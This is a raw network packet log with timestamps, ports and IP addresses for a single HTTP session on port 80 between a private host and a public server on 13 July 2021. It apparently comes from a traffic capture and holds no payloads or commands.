Jul 13, 2021 14:37:56.084511042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.084528923 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.084532022 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.084544897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.084559917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.084563971 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.084574938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.084589958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.084593058 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.084604025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.084619045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.084628105 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.084656000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.084904909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.084919930 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.084934950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.084949970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.084966898 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.084968090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.084975958 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.084984064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085014105 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.085340977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085360050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085376978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085391045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085406065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085416079 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.085421085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085436106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085442066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.085449934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085464954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085483074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085485935 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.085500002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085514069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085522890 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.085527897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085544109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085556984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085558891 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.085572004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085586071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085603952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085609913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.085629940 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.085767031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085782051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085803032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085818052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085833073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085865021 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.085881948 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.085885048 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.085942030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085959911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085973978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.085992098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086002111 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086056948 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086101055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086116076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086147070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086162090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086175919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086179972 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086190939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086208105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086213112 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086221933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086236954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086250067 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086251974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086268902 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086271048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086287022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086288929 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086301088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086316109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086318970 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086332083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086345911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086355925 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086359978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086374998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086380959 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086393118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086400986 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086409092 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086422920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086437941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086452007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086455107 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086466074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086481094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086489916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086497068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086514950 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086514950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086530924 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086532116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086568117 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086617947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086632013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086647987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086663008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086673021 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086680889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086698055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086713076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086719990 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086724043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086735964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086750984 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086750984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086766958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086781025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086791992 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086802006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086817026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086828947 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086837053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086848974 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086853981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086868048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086883068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086894989 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086898088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086911917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086918116 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086926937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086941957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086947918 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086960077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086977005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.086991072 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.086992025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087007999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087023020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087023973 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087037086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087052107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087053061 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087066889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087085962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087085962 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087101936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087105989 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087137938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087146997 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087152004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087167978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087182999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087198019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087199926 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087213039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087228060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087234020 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087245941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087261915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087276936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087291956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087304115 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087306976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087321043 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087321997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087325096 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087337971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087351084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087352037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087371111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087387085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087395906 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087402105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087416887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087426901 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087430954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087445974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087450981 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087461948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087476015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087485075 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087495089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087511063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087516069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087526083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087532997 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087541103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087557077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087564945 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087570906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087585926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087599993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087615013 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087619066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087635040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087647915 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087649107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087665081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087672949 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087680101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087693930 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087694883 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087708950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087723017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087727070 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087740898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087758064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087758064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087771893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087779999 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087786913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087807894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087816954 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087821960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087837934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087848902 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087852955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087872028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087872028 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087888002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087903023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087918043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087928057 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087932110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087945938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087958097 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087960958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087976933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.087985992 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.087996006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088004112 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088012934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088027954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088031054 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088042974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088058949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088069916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088073969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088088989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088104010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088109970 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088121891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088138103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088140011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088152885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088169098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088177919 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088182926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088191032 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088197947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088213921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088227987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088227987 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088246107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088253975 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088263035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088299990 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088308096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088325024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088339090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088350058 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088354111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088368893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088383913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088387966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088404894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088418961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088429928 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088434935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088449001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088464022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088479042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088493109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088495016 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088507891 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088510990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088514090 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088526964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088537931 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088541985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088556051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088571072 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088572025 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088584900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088599920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088602066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088613987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088622093 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088633060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088649035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088663101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088668108 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088677883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088680983 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088692904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088713884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088727951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088728905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088743925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088758945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088758945 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088773012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088787079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088788033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088810921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088816881 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088828087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088841915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088856936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088857889 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088871956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088876009 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088886023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088901043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088911057 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088916063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088933945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088949919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088960886 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088964939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088979959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.088988066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.088994980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.089003086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.089009047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.089024067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.089039087 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.089039087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.089057922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.089072943 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.089075089 CEST	80	49757	47.254.186.176	192.168.2.3
